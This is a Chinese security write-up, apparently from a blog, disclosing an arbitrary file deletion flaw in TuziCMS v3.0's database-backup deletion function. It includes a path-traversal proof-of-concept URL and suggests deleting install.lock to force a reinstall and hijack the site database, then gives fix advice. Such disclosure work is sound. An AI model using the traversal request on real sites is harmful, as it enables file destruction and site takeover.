0x00 环境准备
TuziCMS官网:http://www.tuzicms.com/
网站源码版本:TuziCMS_v3.0_20161220
程序源码下载:http://www.tuzicms.com/index.php/download
测试网站首页:
0x01 代码分析
1、漏洞文件位置:
\tuzicms\App\Manage\Controller\DatabaseController.class.php 第284-314行:
(由于部分TuziCMS 采用zend解密,可使用如下在线工具进行代码还原。
php混淆加密在线还原:http://dezend.qiling.org/free/)
1. public function delSqlFiles()
2. {
3. $id = $_SESSION["id"];
4. $m = manage\controller\d("Admin");
5. $arr = $m->find($id);
6. $arr = $arr["admin_type"];
7.
8. if ($arr == 1) {
9. $this->error("你不是超级管理员,没有限权!");
10. 10. }
11. 11.
12. 12. $id = manage\controller\i("id", 0, "intval");
13. 13. $batchFlag = manage\controller\i("get.batchFlag", 0, "intval");
14. 14.
15. 15. if ($batchFlag) {
16. 16. $files = manage\controller\i("key", array());
17. 17. }
18. 18. else {
19. 19. $files[] = manage\controller\i("sqlfilename", "");
20. 20. }
21. 21.
22. 22. if (empty($files)) {
23. 23. $this->error("请选择要删除的sql文件");
24. 24. }
25. 25.
26. 26. foreach ($files as $file ) {
27. 27. manage\controller\unlink($this->getDbPath() . "/" . $file);
28. 28. }
29. 29.
30. 30. $this->success("已删除:" . manage\controller\implode(",", $files), manage\controller\u("Database/restore"));
31. }
这段删除文件的函数中,首先进行权限判断,接着将获取到sqlfilename参数带入unlink函数中进行删除操作,可以看到参数并未进行任何过滤或处理,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件,如删除install.lck进行CMS重装,劫持网站数据库。
0x02 漏洞利用
1、在网站根目录新建一个test.txt文件,作为任意文件删除漏洞测试:
http://127.0.0.1/index.php?s=/Manage/Database/delSqlFiles/sqlfilename/..\\..\..\\test.txt
2、使用..进行目录跳转,通过构造URL删除根目录下的测试文件。
3、进一步利用,删除安装目录下的install.lock,进行CMS重装,劫持网站数据。
0x03 修复建议
1、过滤..,用来防止目录跳转
2、对要删除的文件名进行严格限制
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。